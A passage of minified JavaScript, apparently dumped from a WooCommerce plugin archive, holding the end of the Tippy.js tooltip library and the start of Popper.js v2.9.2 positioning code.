mt(),at(),rt(),it("onCreate",[W]),k.showOnCreate&&Tt(),Y.addEventListener("mouseenter",(function(){W.props.interactive&&W.state.isVisible&&W.clearDelayTimeouts()})),Y.addEventListener("mouseleave",(function(t){W.props.interactive&&W.props.trigger.indexOf("mouseenter")>=0&&(tt().addEventListener("mousemove",_),_(t))})),W;function G(){var t=W.props.touch;return Array.isArray(t)?t:[t,0]}function K(){return"hold"===G()[0]}function Q(){var t;return!!(null==(t=W.props.render)?void 0:t.$$tippy)}function Z(){return A||e}function tt(){var t=Z().parentNode;return t?x(t):document}function et(){return I(Y)}function nt(t){return W.state.isMounted&&!W.state.isVisible||O.isTouch||b&&"focus"===b.type?0:o(W.props.delay,t?0:1,D.delay)}function rt(){Y.style.pointerEvents=W.props.interactive&&W.state.isVisible?"":"none",Y.style.zIndex=""+W.props.zIndex}function it(t,e,n){var r;(void 0===n&&(n=!0),$.forEach((function(n){n[t]&&n[t].apply(void 0,e)})),n)&&(r=W.props)[t].apply(r,e)}function ot(){var t=W.props.aria;if(t.content){var n="aria-"+t.content,r=Y.id;c(W.props.triggerTarget||e).forEach((function(t){var e=t.getAttribute(n);if(W.state.isVisible)t.setAttribute(n,e?e+" "+r:r);else{var i=e&&e.replace(r,"").trim();i?t.setAttribute(n,i):t.removeAttribute(n)}}))}}function at(){!J&&W.props.aria.expanded&&c(W.props.triggerTarget||e).forEach((function(t){W.props.interactive?t.setAttribute("aria-expanded",W.state.isVisible&&t===Z()?"true":"false"):t.removeAttribute("aria-expanded")}))}function st(){tt().removeEventListener("mousemove",_),H=H.filter((function(t){return t!==_}))}function pt(t){if(!(O.isTouch&&(V||"mousedown"===t.type)||W.props.interactive&&Y.contains(t.target))){if(Z().contains(t.target)){if(O.isTouch)return;if(W.state.isVisible&&W.props.trigger.indexOf("click")>=0)return}else it("onClickOutside",[W,t]);!0===W.props.hideOnClick&&(W.clearDelayTimeouts(),W.hide(),P=!0,setTimeout((function(){P=!1})),W.state.isMounted||lt())}}function ut(){V=!0}function ct(){V=!1}function ft(){var t=tt();t.addEventListener("mousedown",pt,!0),t.addEventListener("touchend",pt,i),t.addEventListener("touchstart",ct,i),t.addEventListener("touchmove",ut,i)}function lt(){var t=tt();t.removeEventListener("mousedown",pt,!0),t.removeEventListener("touchend",pt,i),t.removeEventListener("touchstart",ct,i),t.removeEventListener("touchmove",ut,i)}function dt(t,e){var n=et().box;function r(t){t.target===n&&(E(n,"remove",r),e())}if(0===t)return e();E(n,"remove",C),E(n,"add",r),C=r}function vt(t,n,r){void 0===r&&(r=!1),c(W.props.triggerTarget||e).forEach((function(e){e.addEventListener(t,n,r),U.push({node:e,eventType:t,handler:n,options:r})}))}function mt(){var t;K()&&(vt("touchstart",ht,{passive:!0}),vt("touchend",yt,{passive:!0})),(t=W.props.trigger,t.split(/\s+/).filter(Boolean)).forEach((function(t){if("manual"!==t)switch(vt(t,ht),t){case"mouseenter":vt("mouseleave",yt);break;case"focus":vt(r?"focusout":"blur",wt);break;case"focusin":vt("focusout",wt)}}))}function gt(){U.forEach((function(t){var e=t.node,n=t.eventType,r=t.handler,i=t.options;e.removeEventListener(n,r,i)})),U=[]}function ht(t){var e,n=!1;if(W.state.isEnabled&&!xt(t)&&!P){var r="focus"===(null==(e=b)?void 0:e.type);b=t,A=t.currentTarget,at(),!W.state.isVisible&&g(t)&&H.forEach((function(e){return e(t)})),"click"===t.type&&(W.props.trigger.indexOf("mouseenter")<0||M)&&!1!==W.props.hideOnClick&&W.state.isVisible?n=!0:Tt(t),"click"===t.type&&(M=!n),n&&!r&&At(t)}}function bt(t){var e=t.target,n=Z().contains(e)||Y.contains(e);"mousemove"===t.type&&n||function(t,e){var n=e.clientX,r=e.clientY;return t.every((function(t){var e=t.popperRect,i=t.popperState,o=t.props.interactiveBorder,a=l(i.placement),s=i.modifiersData.offset;if(!s)return!0;var p="bottom"===a?s.top.y:0,u="top"===a?s.bottom.y:0,c="right"===a?s.left.x:0,f="left"===a?s.right.x:0,d=e.top-r+p>o,v=r-e.bottom-u>o,m=e.left-n+c>o,g=n-e.right-f>o;return d||v||m||g}))}(Ct().concat(Y).map((function(t){var e,n=null==(e=t._tippy.popperInstance)?void 0:e.state;return n?{popperRect:t.getBoundingClientRect(),popperState:n,props:k}:null})).filter(Boolean),t)&&(st(),At(t))}function yt(t){xt(t)||W.props.trigger.indexOf("click")>=0&&M||(W.props.interactive?W.hideWithInteractivity(t):At(t))}function wt(t){W.props.trigger.indexOf("focusin")<0&&t.target!==Z()||W.props.interactive&&t.relatedTarget&&Y.contains(t.relatedTarget)||At(t)}function xt(t){return!!O.isTouch&&K()!==t.type.indexOf("touch")>=0}function Et(){Ot();var n=W.props,r=n.popperOptions,i=n.placement,o=n.offset,a=n.getReferenceClientRect,s=n.moveTransition,p=Q()?I(Y).arrow:null,u=a?{getBoundingClientRect:a,contextElement:a.contextElement||Z()}:e,c=[{name:"offset",options:{offset:o}},{name:"preventOverflow",options:{padding:{top:2,bottom:2,left:5,right:5}}},{name:"flip",options:{padding:5}},{name:"computeStyles",options:{adaptive:!s}},{name:"$$tippy",enabled:!0,phase:"beforeWrite",requires:["computeStyles"],fn:function(t){var e=t.state;if(Q()){var n=et().box;["placement","reference-hidden","escaped"].forEach((function(t){"placement"===t?n.setAttribute("data-placement",e.placement):e.attributes.popper["data-popper-"+t]?n.setAttribute("data-"+t,""):n.removeAttribute("data-"+t)})),e.attributes.popper={}}}}];Q()&&p&&c.push({name:"arrow",options:{element:p,padding:3}}),c.push.apply(c,(null==r?void 0:r.modifiers)||[]),W.popperInstance=t.createPopper(u,Y,Object.assign({},r,{placement:i,onFirstUpdate:T,modifiers:c}))}function Ot(){W.popperInstance&&(W.popperInstance.destroy(),W.popperInstance=null)}function Ct(){return d(Y.querySelectorAll("[data-tippy-root]"))}function Tt(t){W.clearDelayTimeouts(),t&&it("onTrigger",[W,t]),ft();var e=nt(!0),n=G(),r=n[0],i=n[1];O.isTouch&&"hold"===r&&i&&(e=i),e?u=setTimeout((function(){W.show()}),e):W.show()}function At(t){if(W.clearDelayTimeouts(),it("onUntrigger",[W,t]),W.state.isVisible){if(!(W.props.trigger.indexOf("mouseenter")>=0&&W.props.trigger.indexOf("click")>=0&&["mouseleave","mousemove"].indexOf(t.type)>=0&&M)){var e=nt(!1);e?m=setTimeout((function(){W.state.isVisible&&W.hide()}),e):h=requestAnimationFrame((function(){W.hide()}))}}else lt()}}function _(t,e){void 0===e&&(e={});var n=D.plugins.concat(e.plugins||[]);document.addEventListener("touchstart",T,i),window.addEventListener("blur",L);var r=Object.assign({},e,{plugins:n}),o=b(t).reduce((function(t,e){var n=e&&U(e,r);return n&&t.push(n),t}),[]);return m(t)?o[0]:o}_.defaultProps=D,_.setDefaultProps=function(t){Object.keys(t).forEach((function(e){D[e]=t[e]}))},_.currentInput=O;var z=Object.assign({},t.applyStyles,{effect:function(t){var e=t.state,n={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};Object.assign(e.elements.popper.style,n.popper),e.styles=n,e.elements.arrow&&Object.assign(e.elements.arrow.style,n.arrow)}}),F={mouseover:"mouseenter",focusin:"focus",click:"click"};var W={name:"animateFill",defaultValue:!1,fn:function(t){var e;if(!(null==(e=t.props.render)?void 0:e.$$tippy))return{};var n=I(t.popper),r=n.box,i=n.content,o=t.props.animateFill?function(){var t=v();return t.className="tippy-backdrop",w([t],"hidden"),t}():null;return{onCreate:function(){o&&(r.insertBefore(o,r.firstElementChild),r.setAttribute("data-animatefill",""),r.style.overflow="hidden",t.setProps({arrow:!1,animation:"shift-away"}))},onMount:function(){if(o){var t=r.style.transitionDuration,e=Number(t.replace("ms",""));i.style.transitionDelay=Math.round(e/10)+"ms",o.style.transitionDuration=t,w([o],"visible")}},onShow:function(){o&&(o.style.transitionDuration="0ms")},onHide:function(){o&&w([o],"hidden")}}}};var X={clientX:0,clientY:0},Y=[];function q(t){var e=t.clientX,n=t.clientY;X={clientX:e,clientY:n}}var $={name:"followCursor",defaultValue:!1,fn:function(t){var e=t.reference,n=x(t.props.triggerTarget||e),r=!1,i=!1,o=!0,a=t.props;function s(){return"initial"===t.props.followCursor&&t.state.isVisible}function p(){n.addEventListener("mousemove",f)}function u(){n.removeEventListener("mousemove",f)}function c(){r=!0,t.setProps({getReferenceClientRect:null}),r=!1}function f(n){var r=!n.target||e.contains(n.target),i=t.props.followCursor,o=n.clientX,a=n.clientY,s=e.getBoundingClientRect(),p=o-s.left,u=a-s.top;!r&&t.props.interactive||t.setProps({getReferenceClientRect:function(){var t=e.getBoundingClientRect(),n=o,r=a;"initial"===i&&(n=t.left+p,r=t.top+u);var s="horizontal"===i?t.top:r,c="vertical"===i?t.right:n,f="horizontal"===i?t.bottom:r,l="vertical"===i?t.left:n;return{width:c-l,height:f-s,top:s,right:c,bottom:f,left:l}}})}function l(){t.props.followCursor&&(Y.push({instance:t,doc:n}),function(t){t.addEventListener("mousemove",q)}(n))}function d(){0===(Y=Y.filter((function(e){return e.instance!==t}))).filter((function(t){return t.doc===n})).length&&function(t){t.removeEventListener("mousemove",q)}(n)}return{onCreate:l,onDestroy:d,onBeforeUpdate:function(){a=t.props},onAfterUpdate:function(e,n){var o=n.followCursor;r||void 0!==o&&a.followCursor!==o&&(d(),o?(l(),!t.state.isMounted||i||s()||p()):(u(),c()))},onMount:function(){t.props.followCursor&&!i&&(o&&(f(X),o=!1),s()||p())},onTrigger:function(t,e){g(e)&&(X={clientX:e.clientX,clientY:e.clientY}),i="focus"===e.type},onHidden:function(){t.props.followCursor&&(c(),u(),o=!0)}}}};var J={name:"inlinePositioning",defaultValue:!1,fn:function(t){var e,n=t.reference;var r=-1,i=!1,o={name:"tippyInlinePositioning",enabled:!0,phase:"afterWrite",fn:function(i){var o=i.state;t.props.inlinePositioning&&(e!==o.placement&&t.setProps({getReferenceClientRect:function(){return function(t){return function(t,e,n,r){if(n.length<2||null===t)return e;if(2===n.length&&r>=0&&n[0].left>n[1].right)return n[r]||e;switch(t){case"top":case"bottom":var i=n[0],o=n[n.length-1],a="top"===t,s=i.top,p=o.bottom,u=a?i.left:o.left,c=a?i.right:o.right;return{top:s,bottom:p,left:u,right:c,width:c-u,height:p-s};case"left":case"right":var f=Math.min.apply(Math,n.map((function(t){return t.left}))),l=Math.max.apply(Math,n.map((function(t){return t.right}))),d=n.filter((function(e){return"left"===t?e.left===f:e.right===l})),v=d[0].top,m=d[d.length-1].bottom;return{top:v,bottom:m,left:f,right:l,width:l-f,height:m-v};default:return e}}(l(t),n.getBoundingClientRect(),d(n.getClientRects()),r)}(o.placement)}}),e=o.placement)}};function a(){var e;i||(e=function(t,e){var n;return{popperOptions:Object.assign({},t.popperOptions,{modifiers:[].concat(((null==(n=t.popperOptions)?void 0:n.modifiers)||[]).filter((function(t){return t.name!==e.name})),[e])})}}(t.props,o),i=!0,t.setProps(e),i=!1)}return{onCreate:a,onAfterUpdate:a,onTrigger:function(e,n){if(g(n)){var i=d(t.reference.getClientRects()),o=i.find((function(t){return t.left-2<=n.clientX&&t.right+2>=n.clientX&&t.top-2<=n.clientY&&t.bottom+2>=n.clientY}));r=i.indexOf(o)}},onUntrigger:function(){r=-1}}}};var G={name:"sticky",defaultValue:!1,fn:function(t){var e=t.reference,n=t.popper;function r(e){return!0===t.props.sticky||t.props.sticky===e}var i=null,o=null;function a(){var s=r("reference")?(t.popperInstance?t.popperInstance.state.elements.reference:e).getBoundingClientRect():null,p=r("popper")?n.getBoundingClientRect():null;(s&&K(i,s)||p&&K(o,p))&&t.popperInstance&&t.popperInstance.update(),i=s,o=p,t.state.isMounted&&requestAnimationFrame(a)}return{onMount:function(){t.props.sticky&&a()}}}};function K(t,e){return!t||!e||(t.top!==e.top||t.right!==e.right||t.bottom!==e.bottom||t.left!==e.left)}return e&&function(t){var e=document.createElement("style");e.textContent=t,e.setAttribute("data-tippy-stylesheet","");var n=document.head,r=document.querySelector("head>style,head>link");r?n.insertBefore(e,r):n.appendChild(e)}('.tippy-box[data-animation=fade][data-state=hidden]{opacity:0}[data-tippy-root]{max-width:calc(100vw - 10px)}.tippy-box{position:relative;background-color:#111;color:#fff;border-radius:0;font-size:14px;line-height:1.4;outline:0;transition-property:transform,visibility,opacity}.tippy-box[data-placement^=top]>.tippy-arrow{bottom:0}.tippy-box[data-placement^=top]>.tippy-arrow:before{bottom:-5px;left:0;border-width:5px 5px 0;border-top-color:initial;transform-origin:center top}.tippy-box[data-placement^=bottom]>.tippy-arrow{top:0}.tippy-box[data-placement^=bottom]>.tippy-arrow:before{top:-5px;left:0;border-width:0 5px 5px;border-bottom-color:initial;transform-origin:center bottom}.tippy-box[data-placement^=left]>.tippy-arrow{right:0}.tippy-box[data-placement^=left]>.tippy-arrow:before{border-width:5px 0 5px 5px;border-left-color:initial;right:-5px;transform-origin:center left}.tippy-box[data-placement^=right]>.tippy-arrow{left:0}.tippy-box[data-placement^=right]>.tippy-arrow:before{left:-5px;border-width:5px 5px 5px 0;border-right-color:initial;transform-origin:center right}.tippy-box[data-inertia][data-state=visible]{transition-timing-function:cubic-bezier(.54,1.5,.38,1.11)}.tippy-arrow{width:10px;height:10px;color:#111}.tippy-arrow:before{content:"";position:absolute;border-color:transparent;border-style:solid}.tippy-content{position:relative;padding:0 12px;font-size:13px;line-height:30px;height:30px;z-index:1}'),_.setDefaultProps({plugins:[W,$,J,G],render:S}),_.createSingleton=function(t,e){var n;void 0===e&&(e={});var r,i=t,o=[],a=e.overrides,s=[],p=!1;function c(){o=i.map((function(t){return t.reference}))}function f(t){i.forEach((function(e){t?e.enable():e.disable()}))}function l(t){return i.map((function(e){var n=e.setProps;return e.setProps=function(i){n(i),e.reference===r&&t.setProps(i)},function(){e.setProps=n}}))}function d(t,e){var n=o.indexOf(e);if(e!==r){r=e;var s=(a||[]).concat("content").reduce((function(t,e){return t[e]=i[n].props[e],t}),{});t.setProps(Object.assign({},s,{getReferenceClientRect:"function"==typeof s.getReferenceClientRect?s.getReferenceClientRect:function(){return e.getBoundingClientRect()}}))}}f(!1),c();var m={fn:function(){return{onDestroy:function(){f(!0)},onHidden:function(){r=null},onClickOutside:function(t){t.props.showOnCreate&&!p&&(p=!0,r=null)},onShow:function(t){t.props.showOnCreate&&!p&&(p=!0,d(t,o[0]))},onTrigger:function(t,e){d(t,e.currentTarget)}}}},g=_(v(),Object.assign({},u(e,["overrides"]),{plugins:[m].concat(e.plugins||[]),triggerTarget:o,popperOptions:Object.assign({},e.popperOptions,{modifiers:[].concat((null==(n=e.popperOptions)?void 0:n.modifiers)||[],[z])})})),h=g.show;g.show=function(t){if(h(),!r&&null==t)return d(g,o[0]);if(!r||null!=t){if("number"==typeof t)return o[t]&&d(g,o[t]);if(i.includes(t)){var e=t.reference;return d(g,e)}return o.includes(t)?d(g,t):void 0}},g.showNext=function(){var t=o[0];if(!r)return g.show(0);var e=o.indexOf(r);g.show(o[e+1]||t)},g.showPrevious=function(){var t=o[o.length-1];if(!r)return g.show(t);var e=o.indexOf(r),n=o[e-1]||t;g.show(n)};var b=g.setProps;return g.setProps=function(t){a=t.overrides||a,b(t)},g.setInstances=function(t){f(!0),s.forEach((function(t){return t()})),i=t,f(!1),c(),l(g),g.setProps({triggerTarget:o})},s=l(g),g},_.delegate=function(t,e){var n=[],r=[],o=!1,a=e.target,s=u(e,["target"]),p=Object.assign({},s,{trigger:"manual",touch:!1}),f=Object.assign({},s,{showOnCreate:!0}),l=_(t,p);function d(t){if(t.target&&!o){var n=t.target.closest(a);if(n){var i=n.getAttribute("data-tippy-trigger")||e.trigger||D.trigger;if(!n._tippy&&!("touchstart"===t.type&&"boolean"==typeof f.touch||"touchstart"!==t.type&&i.indexOf(F[t.type])<0)){var s=_(n,f);s&&(r=r.concat(s))}}}}function v(t,e,r,i){void 0===i&&(i=!1),t.addEventListener(e,r,i),n.push({node:t,eventType:e,handler:r,options:i})}return c(l).forEach((function(t){var e=t.destroy,a=t.enable,s=t.disable;t.destroy=function(t){void 0===t&&(t=!0),t&&r.forEach((function(t){t.destroy()})),r=[],n.forEach((function(t){var e=t.node,n=t.eventType,r=t.handler,i=t.options;e.removeEventListener(n,r,i)})),n=[],e()},t.enable=function(){a(),r.forEach((function(t){return t.enable()})),o=!1},t.disable=function(){s(),r.forEach((function(t){return t.disable()})),o=!0},function(t){var e=t.reference;v(e,"touchstart",d,i),v(e,"mouseover",d),v(e,"focusin",d),v(e,"click",d)}(t)})),l},_.hideAll=function(t){var e=void 0===t?{}:t,n=e.exclude,r=e.duration;N.forEach((function(t){var e=!1;if(n&&(e=h(n)?t.reference===n:t.popper===n.popper),!e){var i=t.props.duration;t.setProps({duration:r}),t.hide(),t.state.isDestroyed||t.setProps({duration:i})}}))},_.roundArrow='<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>',_}));
PK     0w\A{H  {H    woocommerce/js/popper.min.jsnu [        /**
 * @popperjs/core v2.9.2 - MIT License
 */

"use strict";!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(exports):"function"==typeof define&&define.amd?define(["exports"],t):t((e="undefined"!=typeof globalThis?globalThis:e||self).Popper={})}(this,(function(e){function t(e){return{width:(e=e.getBoundingClientRect()).width,height:e.height,top:e.top,right:e.right,bottom:e.bottom,left:e.left,x:e.left,y:e.top}}function n(e){return null==e?window:"[object Window]"!==e.toString()?(e=e.ownerDocument)&&e.defaultView||window:e}function o(e){return{scrollLeft:(e=n(e)).pageXOffset,scrollTop:e.pageYOffset}}function r(e){return e instanceof n(e).Element||e instanceof Element}function i(e){return e instanceof n(e).HTMLElement||e instanceof HTMLElement}function a(e){return"undefined"!=typeof ShadowRoot&&(e instanceof n(e).ShadowRoot||e instanceof ShadowRoot)}function s(e){return e?(e.nodeName||"").toLowerCase():null}function f(e){return((r(e)?e.ownerDocument:e.document)||window.document).documentElement}function p(e){return t(f(e)).left+o(e).scrollLeft}function c(e){return n(e).getComputedStyle(e)}function l(e){return e=c(e),/auto|scroll|overlay|hidden/.test(e.overflow+e.overflowY+e.overflowX)}function u(e,r,a){void 0===a&&(a=!1);var c=f(r);e=t(e);var u=i(r),d={scrollLeft:0,scrollTop:0},m={x:0,y:0};return(u||!u&&!a)&&(("body"!==s(r)||l(c))&&(d=r!==n(r)&&i(r)?{scrollLeft:r.scrollLeft,scrollTop:r.scrollTop}:o(r)),i(r)?((m=t(r)).x+=r.clientLeft,m.y+=r.clientTop):c&&(m.x=p(c))),{x:e.left+d.scrollLeft-m.x,y:e.top+d.scrollTop-m.y,width:e.width,height:e.height}}function d(e){var n=t(e),o=e.offsetWidth,r=e.offsetHeight;return 1>=Math.abs(n.width-o)&&(o=n.width),1>=Math.abs(n.height-r)&&(r=n.height),{x:e.offsetLeft,y:e.offsetTop,width:o,height:r}}function m(e){return"html"===s(e)?e:e.assignedSlot||e.parentNode||(a(e)?e.host:null)||f(e)}function h(e){return 0<=["html","body","#document"].indexOf(s(e))?e.ownerDocument.body:i(e)&&l(e)?e:h(m(e))}function v(e,t){var o;void 0===t&&(t=[]);var r=h(e);return e=r===(null==(o=e.ownerDocument)?void 0:o.body),o=n(r),r=e?[o].concat(o.visualViewport||[],l(r)?r:[]):r,t=t.concat(r),e?t:t.concat(v(m(r)))}function g(e){return i(e)&&"fixed"!==c(e).position?e.offsetParent:null}function y(e){for(var t=n(e),o=g(e);o&&0<=["table","td","th"].indexOf(s(o))&&"static"===c(o).position;)o=g(o);if(o&&("html"===s(o)||"body"===s(o)&&"static"===c(o).position))return t;if(!o)e:{if(o=-1!==navigator.userAgent.toLowerCase().indexOf("firefox"),-1===navigator.userAgent.indexOf("Trident")||!i(e)||"fixed"!==c(e).position)for(e=m(e);i(e)&&0>["html","body"].indexOf(s(e));){var r=c(e);if("none"!==r.transform||"none"!==r.perspective||"paint"===r.contain||-1!==["transform","perspective"].indexOf(r.willChange)||o&&"filter"===r.willChange||o&&r.filter&&"none"!==r.filter){o=e;break e}e=e.parentNode}o=null}return o||t}function b(e){function t(e){o.add(e.name),[].concat(e.requires||[],e.requiresIfExists||[]).forEach((function(e){o.has(e)||(e=n.get(e))&&t(e)})),r.push(e)}var n=new Map,o=new Set,r=[];return e.forEach((function(e){n.set(e.name,e)})),e.forEach((function(e){o.has(e.name)||t(e)})),r}function w(e){var t;return function(){return t||(t=new Promise((function(n){Promise.resolve().then((function(){t=void 0,n(e())}))}))),t}}function x(e){return e.split("-")[0]}function O(e,t){var n=t.getRootNode&&t.getRootNode();if(e.contains(t))return!0;if(n&&a(n))do{if(t&&e.isSameNode(t))return!0;t=t.parentNode||t.host}while(t);return!1}function j(e){return Object.assign({},e,{left:e.x,top:e.y,right:e.x+e.width,bottom:e.y+e.height})}function E(e,r){if("viewport"===r){r=n(e);var a=f(e);r=r.visualViewport;var s=a.clientWidth;a=a.clientHeight;var l=0,u=0;r&&(s=r.width,a=r.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(l=r.offsetLeft,u=r.offsetTop)),e=j(e={width:s,height:a,x:l+p(e),y:u})}else i(r)?((e=t(r)).top+=r.clientTop,e.left+=r.clientLeft,e.bottom=e.top+r.clientHeight,e.right=e.left+r.clientWidth,e.width=r.clientWidth,e.height=r.clientHeight,e.x=e.left,e.y=e.top):(u=f(e),e=f(u),s=o(u),r=null==(a=u.ownerDocument)?void 0:a.body,a=_(e.scrollWidth,e.clientWidth,r?r.scrollWidth:0,r?r.clientWidth:0),l=_(e.scrollHeight,e.clientHeight,r?r.scrollHeight:0,r?r.clientHeight:0),u=-s.scrollLeft+p(u),s=-s.scrollTop,"rtl"===c(r||e).direction&&(u+=_(e.clientWidth,r?r.clientWidth:0)-a),e=j({width:a,height:l,x:u,y:s}));return e}function D(e,t,n){return t="clippingParents"===t?function(e){var t=v(m(e)),n=0<=["absolute","fixed"].indexOf(c(e).position)&&i(e)?y(e):e;return r(n)?t.filter((function(e){return r(e)&&O(e,n)&&"body"!==s(e)})):[]}(e):[].concat(t),(n=(n=[].concat(t,[n])).reduce((function(t,n){return n=E(e,n),t.top=_(n.top,t.top),t.right=U(n.right,t.right),t.bottom=U(n.bottom,t.bottom),t.left=_(n.left,t.left),t}),E(e,n[0]))).width=n.right-n.left,n.height=n.bottom-n.top,n.x=n.left,n.y=n.top,n}function L(e){return 0<=["top","bottom"].indexOf(e)?"x":"y"}function P(e){var t=e.reference,n=e.element,o=(e=e.placement)?x(e):null;e=e?e.split("-")[1]:null;var r=t.x+t.width/2-n.width/2,i=t.y+t.height/2-n.height/2;switch(o){case"top":r={x:r,y:t.y-n.height};break;case"bottom":r={x:r,y:t.y+t.height};break;case"right":r={x:t.x+t.width,y:i};break;case"left":r={x:t.x-n.width,y:i};break;default:r={x:t.x,y:t.y}}if(null!=(o=o?L(o):null))switch(i="y"===o?"height":"width",e){case"start":r[o]-=t[i]/2-n[i]/2;break;case"end":r[o]+=t[i]/2-n[i]/2}return r}function M(e){return Object.assign({},{top:0,right:0,bottom:0,left:0},e)}function k(e,t){return t.reduce((function(t,n){return t[n]=e,t}),{})}function A(e,n){void 0===n&&(n={});var o=n;n=void 0===(n=o.placement)?e.placement:n;var i=o.boundary,a=void 0===i?"clippingParents":i,s=void 0===(i=o.rootBoundary)?"viewport":i;i=void 0===(i=o.elementContext)?"popper":i;var p=o.altBoundary,c=void 0!==p&&p;o=M("number"!=typeof(o=void 0===(o=o.padding)?0:o)?o:k(o,C));var l=e.elements.reference;p=e.rects.popper,a=D(r(c=e.elements[c?"popper"===i?"reference":"popper":i])?c:c.contextElement||f(e.elements.popper),a,s),c=P({reference:s=t(l),element:p,strategy:"absolute",placement:n}),p=j(Object.assign({},p,c)),s="popper"===i?p:s;var u={top:a.top-s.top+o.top,bottom:s.bottom-a.bottom+o.bottom,left:a.left-s.left+o.left,right:s.right-a.right+o.right};if(e=e.modifiersData.offset,"popper"===i&&e){var d=e[n];Object.keys(u).forEach((function(e){var t=0<=["right","bottom"].indexOf(e)?1:-1,n=0<=["top","bottom"].indexOf(e)?"y":"x";u[e]+=d[n]*t}))}return u}function W(){for(var e=arguments.length,t=Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some((function(e){return!(e&&"function"==typeof e.getBoundingClientRect)}))}function B(e){void 0===e&&(e={});var t=e.defaultModifiers,n=void 0===t?[]:t,o=void 0===(e=e.defaultOptions)?F:e;return function(e,t,i){function a(){f.forEach((function(e){return e()})),f=[]}void 0===i&&(i=o);var s={placement:"bottom",orderedModifiers:[],options:Object.assign({},F,o),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},f=[],p=!1,c={state:s,setOptions:function(i){return a(),s.options=Object.assign({},o,s.options,i),s.scrollParents={reference:r(e)?v(e):e.contextElement?v(e.contextElement):[],popper:v(t)},i=function(e){var t=b(e);return I.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}(function(e){var t=e.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e}),{});return Object.keys(t).map((function(e){return t[e]}))}([].concat(n,s.options.modifiers))),s.orderedModifiers=i.filter((function(e){return e.enabled})),s.orderedModifiers.forEach((function(e){var t=e.name,n=e.options;n=void 0===n?{}:n,"function"==typeof(e=e.effect)&&(t=e({state:s,name:t,instance:c,options:n}),f.push(t||function(){}))})),c.update()},forceUpdate:function(){if(!p){var e=s.elements,t=e.reference;if(W(t,e=e.popper))for(s.rects={reference:u(t,y(e),"fixed"===s.options.strategy),popper:d(e)},s.reset=!1,s.placement=s.options.placement,s.orderedModifiers.forEach((function(e){return s.modifiersData[e.name]=Object.assign({},e.data)})),t=0;t<s.orderedModifiers.length;t++)if(!0===s.reset)s.reset=!1,t=-1;else{var n=s.orderedModifiers[t];e=n.fn;var o=n.options;o=void 0===o?{}:o,n=n.name,"function"==typeof e&&(s=e({state:s,options:o,name:n,instance:c})||s)}}},update:w((function(){return new Promise((function(e){c.forceUpdate(),e(s)}))})),destroy:function(){a(),p=!0}};return W(e,t)?(c.setOptions(i).then((function(e){!p&&i.onFirstUpdate&&i.onFirstUpdate(e)})),c):c}}function T(e){var t,o=e.popper,r=e.popperRect,i=e.placement,a=e.offsets,s=e.position,p=e.gpuAcceleration,l=e.adaptive;if(!0===(e=e.roundOffsets)){e=a.y;var u=window.devicePixelRatio||1;e={x:z(z(a.x*u)/u)||0,y:z(z(e*u)/u)||0}}else e="function"==typeof e?e(a):a;e=void 0===(e=(u=e).x)?0:e,u=void 0===(u=u.y)?0:u;var d=a.hasOwnProperty("x");a=a.hasOwnProperty("y");var m,h="left",v="top",g=window;if(l){var b=y(o),w="clientHeight",x="clientWidth";b===n(o)&&("static"!==c(b=f(o)).position&&(w="scrollHeight",x="scrollWidth")),"top"===i&&(v="bottom",u-=b[w]-r.height,u*=p?1:-1),"left"===i&&(h="right",e-=b[x]-r.width,e*=p?1:-1)}return o=Object.assign({position:s},l&&J),p?Object.assign({},o,((m={})[v]=a?"0":"",m[h]=d?"0":"",m.transform=2>(g.devicePixelRatio||1)?"translate("+e+"px, "+u+"px)":"translate3d("+e+"px, "+u+"px, 0)",m)):Object.assign({},o,((t={})[v]=a?u+"px":"",t[h]=d?e+"px":"",t.transform="",t))}function H(e){return e.replace(/left|right|bottom|top/g,(function(e){return $[e]}))}function R(e){return e.replace(/start|end/g,(function(e){return ee[e]}))}function S(e,t,n){return void 0===n&&(n={x:0,y:0}),{top:e.top-t.height-n.y,right:e.right-t.width+n.x,bottom:e.bottom-t.height+n.y,left:e.left-t.width-n.x}}function q(e){return["top","right","bottom","left"].some((function(t){return 0<=e[t]}))}var C=["top","bottom","right","left"],N=C.reduce((function(e,t){return e.concat([t+"-start",t+"-end"])}),[]),V=[].concat(C,["auto"]).reduce((function(e,t){return e.concat([t,t+"-start",t+"-end"])}),[]),I="beforeRead read afterRead beforeMain main afterMain beforeWrite write afterWrite".split(" "),_=Math.max,U=Math.min,z=Math.round,F={placement:"bottom",modifiers:[],strategy:"absolute"},X={passive:!0},Y={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var t=e.state,o=e.instance,r=(e=e.options).scroll,i=void 0===r||r,a=void 0===(e=e.resize)||e,s=n(t.elements.popper),f=[].concat(t.scrollParents.reference,t.scrollParents.popper);return i&&f.forEach((function(e){e.addEventListener("scroll",o.update,X)})),a&&s.addEventListener("resize",o.update,X),function(){i&&f.forEach((function(e){e.removeEventListener("scroll",o.update,X)})),a&&s.removeEventListener("resize",o.update,X)}},data:{}},G={name:"popperOffsets",enabled:!0,phase:"read",fn:function(e){var t=e.state;t.modifiersData[e.name]=P({reference:t.rects.reference,element:t.rects.popper,strategy:"absolute",placement:t.placement})},data:{}},J={top:"auto",right:"auto",bottom:"auto",left:"auto"},K={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(e){var t=e.state,n=e.options;e=void 0===(e=n.gpuAcceleration)||e;var o=n.adaptive;o=void 0===o||o,n=void 